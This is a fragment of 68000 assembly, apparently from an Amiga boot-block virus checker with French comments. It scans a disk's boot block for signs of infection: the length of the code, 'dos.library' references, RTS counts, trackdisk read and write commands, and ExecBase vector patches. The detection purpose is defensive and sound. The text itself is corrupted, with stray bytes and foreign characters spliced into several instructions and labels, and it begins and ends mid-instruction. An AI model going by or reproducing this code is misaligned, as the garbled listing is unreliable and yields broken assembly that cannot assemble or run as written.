d0,ClrBLp move.l #"DOS.",(a2) move.b #0,3(a2) move.l #880,8(a2) add.l #12,a2 ;(a2) buffer+12 rts ;Copie boot code CopBoot:move.w (a0)+,(a2)+ ;(a0) ptr Bootcode cmp.w #$4e71,(a0) ;(a2) ptr Buffer bne.s CopBoot rts ;copi2)wer,40(a1) move.l #0,44(a1) bsr.s NDoIoE move.l 4.w,a6 move.w #9,28(a1) ;motor off clr.l 36(a1) bsr.s NDoIoE PasKill:move.l #Texte,d2 bsr.L Ecrire2 moveq #1,d0 bsr.s SaReIo NDoIo: movem.l (a7)+,d0-d7/a0-a6 NDoIoE: jmp 0 SaReIo: lea SaveIo,a2 ; d0=0 = save lea 28(a1),a0 tst.l d0 beq.s SavIoP exg a0,a2 SavIoP: moveq #4,d0 SRIoLp: move.l (a0)+,(a2)+ dbf d0,SRIoLp rts closdos:move.l 4.w,a6 move.l dosbase,a1 jsr -414(a6) rts analyse:tst.b AutoF bne.L AnaErr moveq #1,2*_>d7 move.b #0,VirDia bsr.L Readtrk bne.L AnaErr move.l #analt,d2 bsr.L ecrire2 move.l bufend,a5 move.l buffer,a0 move.l #$400,d0 zerolp: cmp.l a0,a5 ;length boot beq.s zerobe tst.b (a0)+ beq.s zerof move.l #$401,d0 zerof: subq #1,d0 bra.s zerolp zerobe: move.l d0,lenboot lea lenab0,a0 bsr.L conv3 move.l #lenab,d2 bsr.L ecrire2 lea lenab0,a0 ACh0Lp: cmp.b #"0",(a0)+ beq.s ACh0Lp subq #1,a0 move.l a0,d2 bsr.L Ecrire2 move.l buffer,a0 tst.l 12(a0) beq.L okbcod l2+Aea dosname,a1 dosllp: cmp.l a0,a5 ;cherche chaine 'dos.lib' beq.s codedb2 move.b (a0)+,d0 cmp.b (a1),d0 bne.s dosllp addq #1,a1 tst.b (a1) bne.s dosllp moveq #0,d0 move.l buffer,a0 rtslp: cmp.l a0,a5 ;compte les 'RTS' beq.s endrts cmp.b #$4e,(a0)+ bne.s rtslp cmp.b #$75,(a0) bne.s rtslp addq #1,d0 bra.s rtslp endrts: tst.l d0 beq.s codedb2 move.l lenboot,d1 asr.l #8,d1 cmp.l d1,d0 bhi.s okbcod move.l buffer,a0 add.l #12,a0 icodb: move.l #codbl,a1 cryplp: cmp.l2,pc a0,a5 beq.s okbcod move.w (a0)+,d0 nmadr: move.l d0,d1 and.w (a1),d1 cmp.w 2(a1),d1 beq.s codedb1 addq #4,a1 tst.w (a1) bne.s nmadr bra.s icodb codedb1:move.l #bootcod1,d2 bra.s codedb codedb2:move.l #bootcod2,d2 codedb: bsr.L ecrire2 moveq #0,d7 okbcod: move.l buffer,a0 ukslp: cmp.l a0,a5 ;jsr -612(a6) beq.s enduks ;move.l d0,554(a6) addq #2,a0 cmp.l #$4eaefd9c,(a0) bne.s ukslp cmp.l #$2d40022a,4(a0) bne.s ukslp move.l #anamemt,d2 bsr.L ecrire2 bsr.L oran2-H&ge move.l #usekst,d2 bsr.L ecrire2 bsr.L normal moveq #0,d7 enduks: move.l #adrmodl+2,a2 move.l #analist+2,a1 anabuf: move.l buffer,a0 modiflp:cmp.l a0,a5 beq.L endmod move.w (a0)+,d0 cmp.w (a1),d0 bne.s modiflp modif: move.w 8(a2),d1 ;offset subq #2,d1 move.w 0(a0,d1.w),d2 move.w (a2),d3 ;masque and.w d3,d2 cmp.w 4(a2),d2 beq.s madrr nmodadr:add.l #12,a2 tst.w (a2) bne.s modif move.l #adrmodl+2,a2 bra.s modiflp madrr: tst.l d7 beq.s nomemt move.l #anamemt,d2.ņ:2 bsr.L ecrire2 moveq #0,d7 nomemt: cmp.w #$42ae,d2 bne.s nclrmo bsr.L orange move.l #motclr,d2 bsr.L ecrire2 move.l 2(a1),d2 add.l #10,d2 bsr.L ecrire2 bsr.L normal bra.s nmodadr nclrmo: bsr.L orange move.l 2(a1),d2 bsr.L ecrire2 bsr.L normal endmod: addq #8,a1 tst.w (a1) bne.L anabuf move.l #rett,d2 bsr.L ecrire2 bsr.L waitret nwret: moveq #1,d6 move.l buffer,a0 rwiolp: cmp.l a0,a5 beq.L rwio ;move.w #$000?,$1c(a1) addq #2,a0 ;move.b #$0?,$1c(a1) cmp.w #$232/*07c,(a0) bne.s niopar1 move.w 6(a0),d0 move.l 2(a0),d1 bsr.L idiopar niopar1:cmp.w #$42a9,(a0) bne.s niopar2 moveq #0,d0 move.w 2(a0),d1 bsr.L idiopar niopar2:move.l (a0),d0 and.l #$337cfff0,d0 cmp.l #$337c0000,d0 bne.s niocmd cmp.w #$1c,4(a0) bne.s rwiolp bra.s iocmdok niocmd: and.l #$137cfff0,d0 cmp.l #$137c0000,d0 bne.s rwiolp cmp.w #$1d,4(a0) bne.s rwiolp iocmdok:tst.l d6 beq.s npdskt move.l #analt,d2 bsr.L ecrire2 move.l #anadskt,d2 bsr.L ecrire2 npdskt: m20䂐uoveq #0,d6 moveq #0,d7 move.l #return,d5 lea iolist,a2 ioclp: move.b 3(a2),d0 cmp.b 3(a0),d0 bne.s notioc move.l 4(a2),d5 notioc: addq #8,a2 tst.l (a2) bne.s ioclp bsr.L orange move.l #useioc,d2 bsr.L ecrire2 cmp.l #writio,d5 bne.s notwrc add.b #1,virdia notwrc: cmp.l #readio,d5 bne.s notrec add.b #1,loadia notrec: move.l d5,d2 bsr.L ecrire2 bsr.L normal bra.L rwiolp rwio: tst.l d7 beq.s endmp1 move.l #ananoth,d2 bsr.L ecrire2 bsr.L wait rts endmp1: move.b 21ȋvirdia,d0 move.b loadia,d1 move.b d1,d2 add.b d0,d2 tst.b d2 beq.s anaerr cmp.b #2,d0 bge.s survir tst.b virdia beq.s bblo move.l #bbvir1,d2 bra.s endana survir: move.l #bbvir2,d2 bra.s endana bblo: move.l #bbloa,d2 endana: bsr.L ecrire2 move.l #rett,d2 bsr.L ecrire2 bsr.L waitret anaerr: rts idiopar:lea ioparl,a2 idparlp:cmp.w 2(a2),d0 bne.s unpar move.l d1,d4 tst.l d6 beq.s niopt move.l #analt,d2 bsr.L ecrire2 move.l #anadskt,d2 bsr.L ecrire2 moveq #0,d6 n22˺8iopt: move.l d4,d0 bsr.L conv novlen: move.l 4(a2),d2 cmp.l #iolen,d2 bne.s nlen cmp.l #$400,d4 bne.s nvlen add.b #1,virdia nvlen: add.b #1,loadia nlen: bsr.L ecrire2 move.l #convtxt,d2 bsr.L ecrire2 moveq #0,d7 unpar: addq #8,a2 tst.l (a2) bne.s idparlp rts CheckSum:tst.b AutoF bne.s EndSum move.l #SouT,d2 bsr.L EcriClr bsr.L WaitRet bsr.L ReadTrk bne.S EndSum bsr.L DoSum move.l Dosbase,a6 move.l #SumT,d2 bsr.L EcriClr move.l #50,d1 jsr -198(a6) move.l #W23